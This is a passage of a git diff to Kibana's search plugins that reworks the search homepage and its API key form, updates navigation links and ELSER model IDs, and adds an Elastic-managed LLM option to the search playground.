boolean = cloud?.isServerlessEnabled ?? false; + const o11yTrialLink = useMemo(() => { if (cloud && cloud.isServerlessEnabled) { const baseUrl = cloud?.projectsUrl ?? 'https://cloud.elastic.co/projects/'; @@ -32,6 +34,14 @@ export const Observability: React.FC = () => { return http.basePath.prepend('/app/observability/onboarding'); }, [cloud, http]); + const o11yCreateSpaceLink = useMemo(() => { + return http.basePath.prepend('/app/management/kibana/spaces/create'); + }, [http]); + + const analyzeLogsIntegration = useMemo(() => { + return http.basePath.prepend('/app/integrations/browse/observability'); + }, [http]); + return ( @@ -81,14 +91,25 @@ export const Observability: React.FC = () => { - - {i18n.translate('xpack.searchHomepage.observability.exploreLogstashBeats', { - defaultMessage: 'Explore Logstash and Beats', - })} - + {isServerless ? ( + + {i18n.translate('xpack.searchHomepage.observability.exploreLogstashBeats', { + defaultMessage: 'Explore Logstash and Beats', + })} + + ) : ( + + {i18n.translate('xpack.searchHomepage.observability.exploreLogstashBeats', { + defaultMessage: 'Explore Logstash and Beats', + })} + + )} @@ -107,11 +128,28 @@ export const Observability: React.FC = () => { - - {i18n.translate('xpack.searchHomepage.observability.observabilitySpaceLink', { - defaultMessage: 'Create an Observability project', - })} - + {isServerless ? ( + + {i18n.translate( + 'xpack.searchHomepage.observability.createObservabilityProjectLink', + { + defaultMessage: 'Create an Observability project', + } + )} + + ) : ( + + {i18n.translate( + 'xpack.searchHomepage.observability.createObservabilitySpaceLink', + { + defaultMessage: 'Create an Observability space', + } + )} + + )} diff --git a/x-pack/solutions/search/plugins/search_homepage/public/components/alternate_solutions/security.tsx b/x-pack/solutions/search/plugins/search_homepage/public/components/alternate_solutions/security.tsx index 99bdc9ba62883..3cccfb8ffdc4d 100644 --- a/x-pack/solutions/search/plugins/search_homepage/public/components/alternate_solutions/security.tsx +++ b/x-pack/solutions/search/plugins/search_homepage/public/components/alternate_solutions/security.tsx @@ -17,6 +17,7 @@ import { useEuiTheme, } from '@elastic/eui'; import { i18n } from '@kbn/i18n'; +import { docLinks } from '../../../common/doc_links'; export const Security: React.FC = () => { const { euiTheme } = useEuiTheme(); @@ -70,7 +71,7 @@ export const Security: React.FC = () => { - + {i18n.translate('xpack.searchHomepage.security.setupSiem', { defaultMessage: 'Setup your SIEM', })} @@ -78,6 +79,29 @@ export const Security: React.FC = () => { + + + + + + {i18n.translate('xpack.searchHomepage.security.secureEndpointTitle', { + defaultMessage: 'Secure your endpoints', + })} + + + + + + {i18n.translate('xpack.searchHomepage.security.setupElasticDefend', { + defaultMessage: 'Setup Elastic Defend', + })} + + + + @@ -90,7 +114,10 @@ export const Security: React.FC = () => { - + {i18n.translate( 'xpack.searchHomepage.security.cloudSecurityPostureManagementLink', { diff --git a/x-pack/solutions/search/plugins/search_homepage/public/components/api_key_form.tsx b/x-pack/solutions/search/plugins/search_homepage/public/components/api_key_form.tsx new file mode 100644 index 0000000000000..f677ce715fe00 --- /dev/null +++ b/x-pack/solutions/search/plugins/search_homepage/public/components/api_key_form.tsx @@ -0,0 +1,120 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import React, { useState } from 'react'; +import { + EuiBadge, + EuiButton, + EuiButtonEmpty, + EuiFlexGroup, + EuiFlexItem, + EuiButtonIcon, +} from '@elastic/eui'; +import { FormattedMessage } from '@kbn/i18n-react'; +import { FormInfoField } from '@kbn/search-shared-ui'; +import { i18n } from '@kbn/i18n'; +import { ApiKeyFlyoutWrapper, useSearchApiKey, Status } from '@kbn/search-api-keys-components'; +import { useGetApiKeys } from '../hooks/api/use_api_key'; +import { useKibana } from '../hooks/use_kibana'; + +interface ApiKeyFormProps { + hasTitle?: boolean; +} + +const API_KEY_MASK = '•'.repeat(60); + +export const ApiKeyForm: React.FC = () => { + const { share } = useKibana().services; + const { apiKey, status, updateApiKey, toggleApiKeyVisibility } = useSearchApiKey(); + const { data } = useGetApiKeys(); + const [showFlyout, setShowFlyout] = useState(false); + const locator = share?.url?.locators.get('MANAGEMENT_APP_LOCATOR'); + const manageKeysLink = locator?.useUrl({ sectionId: 'security', appId: 'api_keys' }); + + if (status === Status.showUserPrivilegesError) { + return ( + + + + {i18n.translate('xpack.searchHomepage.apiKeyForm.noUserPrivileges', { + defaultMessage: 'Contact an administrator to manage API keys', + })} + + + + ); + } + + return ( + + {apiKey ? ( + + , + ]} + /> + + ) : ( + + setShowFlyout(true)} + data-test-subj="createApiKeyButton" + > + + + {showFlyout && ( + setShowFlyout(false)} + onSuccess={({ id, encoded }) => { + updateApiKey({ id, encoded }); + setShowFlyout(false); + }} + /> + )} + + )} + + + Manage API keys + + + + 0 ? 'success' : 'warning'} + > + {data?.apiKeys?.length ?? 0} active + + + + ); +}; diff --git a/x-pack/solutions/search/plugins/search_homepage/public/components/connect_to_elasticsearch.tsx b/x-pack/solutions/search/plugins/search_homepage/public/components/connect_to_elasticsearch.tsx index 5168be4a3b6f8..7d72dc4bf639f 100644 --- a/x-pack/solutions/search/plugins/search_homepage/public/components/connect_to_elasticsearch.tsx +++ b/x-pack/solutions/search/plugins/search_homepage/public/components/connect_to_elasticsearch.tsx @@ -5,9 +5,6 @@ * 2.0. */ import { - EuiBadge, - EuiButton, - EuiButtonEmpty, EuiButtonIcon, EuiCopy, EuiFieldText, @@ -22,17 +19,11 @@ import React from 'react'; import { i18n } from '@kbn/i18n'; import { ConnectToElasticsearchSidePanel } from './connect_to_elasticsearch_side_panel'; import { AISearchCapabilities } from './ai_search_capabilities/ai_search_capabilities'; -import { useKibana } from '../hooks/use_kibana'; -import { useGetApiKeys } from '../hooks/api/use_api_key'; import { useElasticsearchUrl } from '../hooks/use_elasticsearch_url'; +import { ApiKeyForm } from './api_key_form'; export const ConnectToElasticsearch = () => { - const { share } = useKibana().services; - const { data } = useGetApiKeys(); const elasticsearchUrl = useElasticsearchUrl(); - const locator = share?.url?.locators.get('MANAGEMENT_APP_LOCATOR'); - const manageKeysLink = locator?.useUrl({ sectionId: 'security', appId: 'api_keys' }); - const createApiKeyLink = locator?.useUrl({ sectionId: 'security', appId: 'api_keys/create' }); return ( @@ -121,39 +112,7 @@ export const ConnectToElasticsearch = () => { - - - - {i18n.translate( - 'xpack.searchHomepage.connectToElasticsearch.createApiKey', - { - defaultMessage: 'Create API key', - } - )} - - - - - Manage API keys - - - - 0 ? 'success' : 'warning'} - > - {data?.apiKeys?.length ?? 0} active - - - + diff --git a/x-pack/solutions/search/plugins/search_homepage/public/components/search_homepage.tsx b/x-pack/solutions/search/plugins/search_homepage/public/components/search_homepage.tsx index d3cf444cbb813..b2f02261c16eb 100644 --- a/x-pack/solutions/search/plugins/search_homepage/public/components/search_homepage.tsx +++ b/x-pack/solutions/search/plugins/search_homepage/public/components/search_homepage.tsx @@ -5,8 +5,9 @@ * 2.0. */ -import { EuiHorizontalRule, EuiPageTemplate } from '@elastic/eui'; +import { EuiHorizontalRule } from '@elastic/eui'; import React, { useMemo } from 'react'; +import { KibanaPageTemplate } from '@kbn/shared-ux-page-kibana-template'; import { useKibana } from '../hooks/use_kibana'; import { useSearchHomePageRedirect } from '../hooks/use_search_home_page_redirect'; import { SearchHomepageBody } from './search_homepage_body'; @@ -14,7 +15,7 @@ import { SearchHomepageHeader } from './search_homepage_header'; export const SearchHomepagePage = () => { const { - services: { console: consolePlugin }, + services: { console: consolePlugin, history, searchNavigation }, } = useKibana(); useSearchHomePageRedirect(); @@ -25,11 +26,17 @@ export const SearchHomepagePage = () => { ); return ( - + {embeddableConsole} - + ); }; diff --git a/x-pack/solutions/search/plugins/search_homepage/public/hooks/api/use_indices_status_query.ts b/x-pack/solutions/search/plugins/search_homepage/public/hooks/api/use_indices_status_query.ts index b7551551ee626..31df4733bab15 100644 --- a/x-pack/solutions/search/plugins/search_homepage/public/hooks/api/use_indices_status_query.ts +++ b/x-pack/solutions/search/plugins/search_homepage/public/hooks/api/use_indices_status_query.ts @@ -17,7 +17,8 @@ import { useKibana } from '../use_kibana'; const DEFAULT_INDICES_POLLING_INTERVAL = 15 * 1000; export const useIndicesStatusQuery = ( - pollingInterval = DEFAULT_INDICES_POLLING_INTERVAL + pollingInterval = DEFAULT_INDICES_POLLING_INTERVAL, + enabled = true ): UseQueryResult => { const { http } = useKibana().services; @@ -28,5 +29,6 @@ export const useIndicesStatusQuery = ( retry: true, queryKey: [QueryKeys.FetchSearchIndicesStatus], queryFn: () => http.get(GET_STATUS_ROUTE), + enabled, }); }; diff --git a/x-pack/solutions/search/plugins/search_homepage/public/hooks/use_search_home_page_redirect.tsx b/x-pack/solutions/search/plugins/search_homepage/public/hooks/use_search_home_page_redirect.tsx index 6e0f64fa07527..5684e4ea74f51 100644 --- a/x-pack/solutions/search/plugins/search_homepage/public/hooks/use_search_home_page_redirect.tsx +++ b/x-pack/solutions/search/plugins/search_homepage/public/hooks/use_search_home_page_redirect.tsx @@ -7,6 +7,8 @@ import { useEffect, useMemo, useState } from 'react'; +import { GLOBAL_EMPTY_STATE_SKIP_KEY } from '@kbn/search-shared-ui'; + import { useIndicesStatusQuery } from './api/use_indices_status_query'; import { useUserPrivilegesQuery } from './api/use_user_permissions'; import { generateRandomIndexName } from '../utils/indices'; @@ -17,11 +19,14 @@ export const useSearchHomePageRedirect = () => { const { application, http } = useKibana().services; const indexName = useMemo(() => generateRandomIndexName(), []); const { data: userPrivileges } = useUserPrivilegesQuery(indexName); - const { data: indicesStatus } = useIndicesStatusQuery(); + const skipGlobalEmptyState = useMemo(() => { + return localStorage.getItem(GLOBAL_EMPTY_STATE_SKIP_KEY) === 'true'; + }, []); + const { data: indicesStatus } = useIndicesStatusQuery(undefined, !skipGlobalEmptyState); const [hasDoneRedirect, setHasDoneRedirect] = useState(() => false); return useEffect(() => { - if (hasDoneRedirect) { + if (hasDoneRedirect || skipGlobalEmptyState) { return; } @@ -44,5 +49,13 @@ export const useSearchHomePageRedirect = () => { } setHasDoneRedirect(true); - }, [application, http, indicesStatus, setHasDoneRedirect, hasDoneRedirect, userPrivileges]); + }, [ + application, + http, + indicesStatus, + setHasDoneRedirect, + hasDoneRedirect, + userPrivileges, + skipGlobalEmptyState, + ]); }; diff --git a/x-pack/solutions/search/plugins/search_homepage/public/plugin.ts b/x-pack/solutions/search/plugins/search_homepage/public/plugin.ts index 8ac2ef06f7813..a2b24da5cd35c 100644 --- a/x-pack/solutions/search/plugins/search_homepage/public/plugin.ts +++ b/x-pack/solutions/search/plugins/search_homepage/public/plugin.ts @@ -5,7 +5,13 @@ * 2.0. */ -import { AppMountParameters, CoreSetup, CoreStart, Plugin } from '@kbn/core/public'; +import { + AppMountParameters, + CoreSetup, + CoreStart, + Plugin, + DEFAULT_APP_CATEGORIES, +} from '@kbn/core/public'; import { i18n } from '@kbn/i18n'; import { PLUGIN_ID } from '../common'; @@ -38,7 +44,11 @@ export class SearchHomepagePlugin }; core.application.register({ - ...result.app, + id: PLUGIN_ID, + appRoute: '/app/elasticsearch/home', + title: i18n.translate('xpack.searchHomepage.appTitle', { defaultMessage: 'Home' }), + category: DEFAULT_APP_CATEGORIES.enterpriseSearch, + euiIconType: 'logoElasticsearch', async mount({ element, history }: AppMountParameters) { const { renderApp } = await import('./application'); const [coreStart, depsStart] = await core.getStartServices(); @@ -50,6 +60,8 @@ export class SearchHomepagePlugin return renderApp(coreStart, startDeps, element, queryClient); }, + order: 0, + visibleIn: ['globalSearch', 'sideNav'], }); return result; diff --git a/x-pack/solutions/search/plugins/search_homepage/public/types.ts b/x-pack/solutions/search/plugins/search_homepage/public/types.ts index 2cf3d243edd4a..cb4a09193b819 100644 --- a/x-pack/solutions/search/plugins/search_homepage/public/types.ts +++ b/x-pack/solutions/search/plugins/search_homepage/public/types.ts @@ -7,6 +7,7 @@ import type { ComponentProps, FC } from 'react'; import type { ConsolePluginStart } from '@kbn/console-plugin/public'; +import type { SearchNavigationPluginStart } from '@kbn/search-navigation/public'; import type { AppMountParameters, CoreStart } from '@kbn/core/public'; import type { SharePluginStart } from '@kbn/share-plugin/public'; import type { UsageCollectionStart } from '@kbn/usage-collection-plugin/public'; @@ -47,6 +48,7 @@ export interface SearchHomepageAppPluginStartDependencies { share: SharePluginStart; usageCollection?: UsageCollectionStart; cloud?: CloudStart; + searchNavigation?: SearchNavigationPluginStart; } export interface SearchHomepageServicesContextDeps { diff --git a/x-pack/solutions/search/plugins/search_homepage/server/config.ts b/x-pack/solutions/search/plugins/search_homepage/server/config.ts index 5dccd7372ad54..4f805e6e53d09 100644 --- a/x-pack/solutions/search/plugins/search_homepage/server/config.ts +++ b/x-pack/solutions/search/plugins/search_homepage/server/config.ts @@ -11,7 +11,7 @@ import { PluginConfigDescriptor } from '@kbn/core/server'; export * from './types'; const configSchema = schema.object({ - enabled: schema.boolean({ defaultValue: false }), + enabled: schema.boolean({ defaultValue: true }), }); export type SearchHomepageConfig = TypeOf; diff --git a/x-pack/solutions/search/plugins/search_homepage/tsconfig.json b/x-pack/solutions/search/plugins/search_homepage/tsconfig.json index 8179ca7471ac4..9e1806c50aaa6 100644 --- a/x-pack/solutions/search/plugins/search_homepage/tsconfig.json +++ b/x-pack/solutions/search/plugins/search_homepage/tsconfig.json @@ -29,8 +29,11 @@ "@kbn/cloud-plugin", "@kbn/kibana-utils-plugin", "@kbn/core-http-server", + "@kbn/search-navigation", + "@kbn/search-api-keys-components", "@kbn/logging", - "@kbn/core-elasticsearch-server" + "@kbn/core-elasticsearch-server", + "@kbn/search-shared-ui" ], "exclude": [ "target/**/*", diff --git a/x-pack/solutions/search/plugins/search_indices/public/components/start/elasticsearch_start.tsx b/x-pack/solutions/search/plugins/search_indices/public/components/start/elasticsearch_start.tsx index 364669e28c047..b07a31d32a810 100644 --- a/x-pack/solutions/search/plugins/search_indices/public/components/start/elasticsearch_start.tsx +++ b/x-pack/solutions/search/plugins/search_indices/public/components/start/elasticsearch_start.tsx @@ -8,7 +8,8 @@ import React, { useCallback, useEffect, useState } from 'react'; import { i18n } from '@kbn/i18n'; -import { WorkflowId } from '@kbn/search-shared-ui'; +import { SEARCH_HOMEPAGE } from '@kbn/deeplinks-search'; +import { GLOBAL_EMPTY_STATE_SKIP_KEY, WorkflowId } from '@kbn/search-shared-ui'; import type { IndicesStatusResponse } from '../../../common'; import { AnalyticsEvents } from '../../analytics/constants'; @@ -95,7 +96,8 @@ export const ElasticsearchStart: React.FC = () => { [usageTracker, formState, setFormState] ); const onClose = useCallback(() => { - application.navigateToApp('elasticsearchIndexManagement'); + localStorage.setItem(GLOBAL_EMPTY_STATE_SKIP_KEY, 'true'); + application.navigateToApp(SEARCH_HOMEPAGE); }, [application]); return ( diff --git a/x-pack/solutions/search/plugins/search_indices/public/components/start/start_page.tsx b/x-pack/solutions/search/plugins/search_indices/public/components/start/start_page.tsx index feea2dc3a6200..fdd1dcc9f4e7a 100644 --- a/x-pack/solutions/search/plugins/search_indices/public/components/start/start_page.tsx +++ b/x-pack/solutions/search/plugins/search_indices/public/components/start/start_page.tsx @@ -19,7 +19,6 @@ import { useIndicesStatusQuery } from '../../hooks/api/use_indices_status'; import { useIndicesRedirect } from './hooks/use_indices_redirect'; import { ElasticsearchStart } from './elasticsearch_start'; import { LoadIndicesStatusError } from '../shared/load_indices_status_error'; -import { useIndexManagementBreadcrumbs } from '../../hooks/use_index_management_breadcrumbs'; import { usePageChrome } from '../../hooks/use_page_chrome'; const PageTitle = i18n.translate('xpack.searchIndices.startPage.docTitle', { @@ -37,13 +36,15 @@ export const ElasticsearchStartPage = () => { error: indicesFetchError, } = useIndicesStatusQuery(); - const indexManagementBreadcrumbs = useIndexManagementBreadcrumbs(); - usePageChrome(PageTitle, [ - ...indexManagementBreadcrumbs, - { - text: PageTitle, - }, - ]); + usePageChrome( + PageTitle, + [ + { + text: PageTitle, + }, + ], + false + ); const embeddableConsole = useMemo( () => (consolePlugin?.EmbeddableConsole ? : null), diff --git a/x-pack/solutions/search/plugins/search_indices/public/hooks/use_page_chrome.ts b/x-pack/solutions/search/plugins/search_indices/public/hooks/use_page_chrome.ts index ee782d0cbb258..cb7f9f02cfcf5 100644 --- a/x-pack/solutions/search/plugins/search_indices/public/hooks/use_page_chrome.ts +++ b/x-pack/solutions/search/plugins/search_indices/public/hooks/use_page_chrome.ts @@ -10,7 +10,11 @@ import type { ChromeBreadcrumb } from '@kbn/core-chrome-browser'; import { useKibana } from './use_kibana'; import { PARENT_BREADCRUMB } from '../constants'; -export const usePageChrome = (docTitle: string, breadcrumbs: ChromeBreadcrumb[]) => { +export const usePageChrome = ( + docTitle: string, + breadcrumbs: ChromeBreadcrumb[], + includeParentBreadcrumb: boolean = true +) => { const { chrome, serverless } = useKibana().services; useEffect(() => { @@ -19,7 +23,9 @@ export const usePageChrome = (docTitle: string, breadcrumbs: ChromeBreadcrumb[]) if (serverless) { serverless.setBreadcrumbs(breadcrumbs); } else { - const newBreadcrumbs = [PARENT_BREADCRUMB, ...breadcrumbs]; + const newBreadcrumbs = includeParentBreadcrumb + ? [PARENT_BREADCRUMB, ...breadcrumbs] + : breadcrumbs; chrome.setBreadcrumbs(newBreadcrumbs, { project: { value: newBreadcrumbs, absolute: true } }); } return () => { @@ -30,5 +36,5 @@ export const usePageChrome = (docTitle: string, breadcrumbs: ChromeBreadcrumb[]) chrome.setBreadcrumbs([]); } }; - }, [chrome, docTitle, serverless, breadcrumbs]); + }, [chrome, docTitle, serverless, breadcrumbs, includeParentBreadcrumb]); }; diff --git a/x-pack/solutions/search/plugins/search_inference_endpoints/public/components/all_inference_endpoints/tabular_page.test.tsx b/x-pack/solutions/search/plugins/search_inference_endpoints/public/components/all_inference_endpoints/tabular_page.test.tsx index 64aca18d5eca6..780d7236cc3b9 100644 --- a/x-pack/solutions/search/plugins/search_inference_endpoints/public/components/all_inference_endpoints/tabular_page.test.tsx +++ b/x-pack/solutions/search/plugins/search_inference_endpoints/public/components/all_inference_endpoints/tabular_page.test.tsx @@ -89,11 +89,11 @@ const inferenceEndpoints = [ }, }, { - inference_id: '.elser-v2-elastic', + inference_id: '.elser-2-elastic', task_type: 'sparse_embedding', service: 'elastic', service_settings: { - model_id: 'elser-v2', + model_id: 'elser_model_2', }, }, { @@ -101,7 +101,7 @@ const inferenceEndpoints = [ task_type: 'sparse_embedding', service: 'elastic', service_settings: { - model_id: 'elser-v2', + model_id: 'elser_model_2', }, }, ] as InferenceAPIConfigResponse[]; @@ -117,8 +117,8 @@ describe('When the tabular page is loaded', () => { render(); const rows = screen.getAllByRole('row'); - expect(rows[1]).toHaveTextContent('.elser-2-elasticsearch'); - expect(rows[2]).toHaveTextContent('.elser-v2-elastic'); + expect(rows[1]).toHaveTextContent('.elser-2-elastic'); + expect(rows[2]).toHaveTextContent('.elser-2-elasticsearch'); expect(rows[3]).toHaveTextContent('.multilingual-e5-small-elasticsearch'); expect(rows[4]).toHaveTextContent('.sparkles'); expect(rows[5]).toHaveTextContent('custom-inference-id'); @@ -132,11 +132,11 @@ describe('When the tabular page is loaded', () => { render(); const rows = screen.getAllByRole('row'); - expect(rows[1]).toHaveTextContent('Elasticsearch'); - expect(rows[1]).toHaveTextContent('.elser_model_2'); + expect(rows[1]).toHaveTextContent('Elastic'); + expect(rows[1]).toHaveTextContent('.elser-2-elastic'); - expect(rows[2]).toHaveTextContent('Elastic'); - expect(rows[2]).toHaveTextContent('.elser-v2-elastic'); + expect(rows[2]).toHaveTextContent('Elasticsearch'); + expect(rows[2]).toHaveTextContent('.elser_model_2'); expect(rows[3]).toHaveTextContent('Elasticsearch'); expect(rows[3]).toHaveTextContent('.multilingual-e5-small'); @@ -145,7 +145,7 @@ describe('When the tabular page is loaded', () => { expect(rows[4]).toHaveTextContent('rainbow-sprinkles'); expect(rows[5]).toHaveTextContent('Elastic'); - expect(rows[5]).toHaveTextContent('elser-v2'); + expect(rows[5]).toHaveTextContent('elser_model_2'); expect(rows[6]).toHaveTextContent('Elasticsearch'); expect(rows[6]).toHaveTextContent('.rerank-v1'); @@ -201,14 +201,14 @@ describe('When the tabular page is loaded', () => { expect(rows[9]).not.toHaveTextContent(preconfigured); }); - it('should show tech preview badge only for reranker-v1 model, rainbow-sprinkles, and preconfigured elser-v2', () => { + it('should show tech preview badge only for reranker-v1 model, rainbow-sprinkles, and preconfigured elser_model_2', () => { render(); const techPreview = 'TECH PREVIEW'; const rows = screen.getAllByRole('row'); - expect(rows[1]).not.toHaveTextContent(techPreview); - expect(rows[2]).toHaveTextContent(techPreview); + expect(rows[1]).toHaveTextContent(techPreview); + expect(rows[2]).not.toHaveTextContent(techPreview); expect(rows[3]).not.toHaveTextContent(techPreview); expect(rows[4]).toHaveTextContent(techPreview); expect(rows[5]).not.toHaveTextContent(techPreview); diff --git a/x-pack/solutions/search/plugins/search_inference_endpoints/public/utils/reranker_helper.ts b/x-pack/solutions/search/plugins/search_inference_endpoints/public/utils/reranker_helper.ts index f9c4529b0be0f..99346ce539c49 100644 --- a/x-pack/solutions/search/plugins/search_inference_endpoints/public/utils/reranker_helper.ts +++ b/x-pack/solutions/search/plugins/search_inference_endpoints/public/utils/reranker_helper.ts @@ -23,12 +23,12 @@ export const isProviderTechPreview = (provider: InferenceInferenceEndpointInfo) /* For rerank task type, model ID starting with '.' indicates tech preview - Special case for 'rainbow-sprinkles' model + Special case for 'rainbow-sprinkles' model and ELSER on EIS */ if ( (taskType === 'rerank' && modelId.startsWith('.')) || modelId === 'rainbow-sprinkles' || - (modelId === 'elser-v2' && + (modelId === 'elser_model_2' && inferenceId.startsWith('.') && service === ServiceProviderKeys.elastic) ) { diff --git a/x-pack/solutions/search/plugins/search_navigation/public/base_classic_navigation_items.tsx b/x-pack/solutions/search/plugins/search_navigation/public/base_classic_navigation_items.tsx index 22545ddc4c980..ab8d94920e682 100644 --- a/x-pack/solutions/search/plugins/search_navigation/public/base_classic_navigation_items.tsx +++ b/x-pack/solutions/search/plugins/search_navigation/public/base_classic_navigation_items.tsx @@ -8,7 +8,7 @@ import React from 'react'; import { EuiText } from '@elastic/eui'; -import { ENTERPRISE_SEARCH_APP_ID } from '@kbn/deeplinks-search'; +import { SEARCH_HOMEPAGE } from '@kbn/deeplinks-search'; import { i18n } from '@kbn/i18n'; import type { ClassicNavItem } from './types'; @@ -17,7 +17,7 @@ export const BaseClassicNavItems: ClassicNavItem[] = [ { 'data-test-subj': 'searchSideNav-Home', deepLink: { - link: ENTERPRISE_SEARCH_APP_ID, + link: SEARCH_HOMEPAGE, shouldShowActiveForSubroutes: true, }, id: 'home', diff --git a/x-pack/solutions/search/plugins/search_navigation/public/classic_navigation.test.ts b/x-pack/solutions/search/plugins/search_navigation/public/classic_navigation.test.ts index 3bcf5188afb93..55ff05a6f86d3 100644 --- a/x-pack/solutions/search/plugins/search_navigation/public/classic_navigation.test.ts +++ b/x-pack/solutions/search/plugins/search_navigation/public/classic_navigation.test.ts @@ -14,9 +14,9 @@ import { ClassicNavItem } from './types'; describe('classicNavigationFactory', function () { const mockedNavLinks: Array> = [ { - id: 'enterpriseSearch', - url: '/app/elasticsearch/overview', - title: 'Overview', + id: 'searchHomepage', + url: '/app/elasticsearch/home', + title: 'Home', }, { id: 'enterpriseSearchContent:connectors', @@ -56,7 +56,7 @@ describe('classicNavigationFactory', function () { { id: 'unit-test', deepLink: { - link: 'enterpriseSearch', + link: 'searchHomepage', }, }, ]; @@ -64,10 +64,10 @@ describe('classicNavigationFactory', function () { icon: 'logoElasticsearch', items: [ { - href: '/app/elasticsearch/overview', + href: '/app/elasticsearch/home', id: 'unit-test', isSelected: false, - name: 'Overview', + name: 'Home', onClick: expect.any(Function), }, ], @@ -77,13 +77,13 @@ describe('classicNavigationFactory', function () { it('will set isSelected', () => { mockHistory.location.pathname = '/overview'; - mockHistory.createHref.mockReturnValue('/app/elasticsearch/overview'); + mockHistory.createHref.mockReturnValue('/app/elasticsearch/home'); const items: ClassicNavItem[] = [ { id: 'unit-test', deepLink: { - link: 'enterpriseSearch', + link: 'searchHomepage', }, }, ]; @@ -91,10 +91,10 @@ describe('classicNavigationFactory', function () { const solutionNav = classicNavigationFactory(items, core, history); expect(solutionNav!.items).toEqual([ { - href: '/app/elasticsearch/overview', + href: '/app/elasticsearch/home', id: 'unit-test', isSelected: true, - name: 'Overview', + name: 'Home', onClick: expect.any(Function), }, ]); @@ -158,7 +158,7 @@ describe('classicNavigationFactory', function () { { id: 'unit-test', deepLink: { - link: 'enterpriseSearch', + link: 'searchHomepage', }, }, { @@ -172,10 +172,10 @@ describe('classicNavigationFactory', function () { const solutionNav = classicNavigationFactory(items, core, history); expect(solutionNav!.items).toEqual([ { - href: '/app/elasticsearch/overview', + href: '/app/elasticsearch/home', id: 'unit-test', isSelected: false, - name: 'Overview', + name: 'Home', onClick: expect.any(Function), }, ]); diff --git a/x-pack/solutions/search/plugins/search_playground/common/models.ts b/x-pack/solutions/search/plugins/search_playground/common/models.ts index a1fe7dbe928d8..38923768f87a3 100644 --- a/x-pack/solutions/search/plugins/search_playground/common/models.ts +++ b/x-pack/solutions/search/plugins/search_playground/common/models.ts @@ -5,6 +5,7 @@ * 2.0. */ +import { elasticModelIds } from '@kbn/inference-common'; import { ModelProvider, LLMs } from './types'; export const MODELS: ModelProvider[] = [ @@ -56,4 +57,10 @@ export const MODELS: ModelProvider[] = [ promptTokenLimit: 2097152, provider: LLMs.gemini, }, + { + name: 'Elastic Managed LLM', + model: elasticModelIds.RainbowSprinkles, + promptTokenLimit: 200000, + provider: LLMs.inference, + }, ]; diff --git a/x-pack/solutions/search/plugins/search_playground/public/hooks/use_llms_models.ts b/x-pack/solutions/search/plugins/search_playground/public/hooks/use_llms_models.ts index df3e77d2e3307..b4e04b94eaef3 100644 --- a/x-pack/solutions/search/plugins/search_playground/public/hooks/use_llms_models.ts +++ b/x-pack/solutions/search/plugins/search_playground/public/hooks/use_llms_models.ts @@ -29,7 +29,8 @@ const mapLlmToModels: Record< icon: string | ((connector: PlaygroundConnector) => string); getModels: ( connectorName: string, - includeName: boolean + includeName: boolean, + modelId?: string ) => Array<{ label: string; value?: string; promptTokenLimit?: number }>; } > = { @@ -88,12 +89,11 @@ const mapLlmToModels: Record< ? SERVICE_PROVIDERS[connector.config.provider].icon : ''; }, - getModels: (connectorName) => [ + getModels: (connectorName, _, modelId) => [ { - label: i18n.translate('xpack.searchPlayground.inferenceModel', { - defaultMessage: '{name}', - values: { name: connectorName }, - }), + label: connectorName, + value: modelId, + promptTokenLimit: MODELS.find((m) => m.model === modelId)?.promptTokenLimit, }, ], }, @@ -128,7 +128,13 @@ export const LLMsQuery = const showConnectorName = Number(mapConnectorTypeToCount?.[connectorType]) > 1; llmParams - .getModels(connector.name, false) + .getModels( + connector.name, + false, + isInferenceActionConnector(connector) + ? connector.config?.providerConfig?.model_id + : undefined + ) .map(({ label, value, promptTokenLimit }) => ({ id: connector?.id + label, name: label, diff --git a/x-pack/solutions/search/plugins/search_playground/public/providers/unsaved_form_provider.tsx b/x-pack/solutions/search/plugins/search_playground/public/providers/unsaved_form_provider.tsx index fc5eb0aaafe07..fce08733a5ad5 100644 --- a/x-pack/solutions/search/plugins/search_playground/public/providers/unsaved_form_provider.tsx +++ b/x-pack/solutions/search/plugins/search_playground/public/providers/unsaved_form_provider.tsx @@ -94,6 +94,7 @@ export const UnsavedFormProvider: React.FC { + if (models.length === 0) return; // don't continue if there are no models const defaultModel = models.find((model) => !model.disabled); const currentModel = form.getValues(PlaygroundFormFields.summarizationModel); diff --git a/x-pack/solutions/search/plugins/search_playground/public/types.ts b/x-pack/solutions/search/plugins/search_playground/public/types.ts index 020a28f4e623a..77a9fef5a6038 100644 --- a/x-pack/solutions/search/plugins/search_playground/public/types.ts +++ b/x-pack/solutions/search/plugins/search_playground/public/types.ts @@ -248,7 +248,13 @@ export interface LLMModel { export type { ActionConnector, UserConfiguredActionConnector }; export type InferenceActionConnector = ActionConnector & { - config: { provider: ServiceProviderKeys; inferenceId: string }; + config: { + providerConfig?: { + model_id?: string; + }; + provider: ServiceProviderKeys; + inferenceId: string; + }; }; export type PlaygroundConnector = ActionConnector & { title: string; type: LLMs }; diff --git a/x-pack/solutions/search/plugins/search_playground/server/lib/get_chat_params.test.ts b/x-pack/solutions/search/plugins/search_playground/server/lib/get_chat_params.test.ts index 49d8b5e579a95..c8f3a0c289f94 100644 --- a/x-pack/solutions/search/plugins/search_playground/server/lib/get_chat_params.test.ts +++ b/x-pack/solutions/search/plugins/search_playground/server/lib/get_chat_params.test.ts @@ -17,6 +17,7 @@ import { loggerMock, MockedLogger } from '@kbn/logging-mocks'; import { httpServerMock } from '@kbn/core/server/mocks'; import { PluginStartContract as ActionsPluginStartContract } from '@kbn/actions-plugin/server'; import { inferenceMock } from '@kbn/inference-plugin/server/mocks'; +import { elasticModelIds } from '@kbn/inference-common'; jest.mock('@kbn/langchain/server', () => { const original = jest.requireActual('@kbn/langchain/server'); @@ -236,4 +237,84 @@ describe('getChatParams', () => { }); expect(result.chatPrompt).toContain('How does it work?'); }); + + it('returns the correct params for the EIS connector', async () => { + const mockConnector = { + id: 'elastic-llm', + actionTypeId: INFERENCE_CONNECTOR_ID, + config: { + providerConfig: { + model_id: elasticModelIds.RainbowSprinkles, + }, + }, + }; + mockActionsClient.get.mockResolvedValue(mockConnector); + + const result = await getChatParams( + { + connectorId: 'elastic-llm', + prompt: 'How does it work?', + citations: false, + }, + { actions, request, logger, inference } + ); + + expect(result).toMatchObject({ + connector: mockConnector, + summarizationModel: elasticModelIds.RainbowSprinkles, + }); + + expect(Prompt).toHaveBeenCalledWith('How does it work?', { + citations: false, + context: true, + type: 'anthropic', + }); + 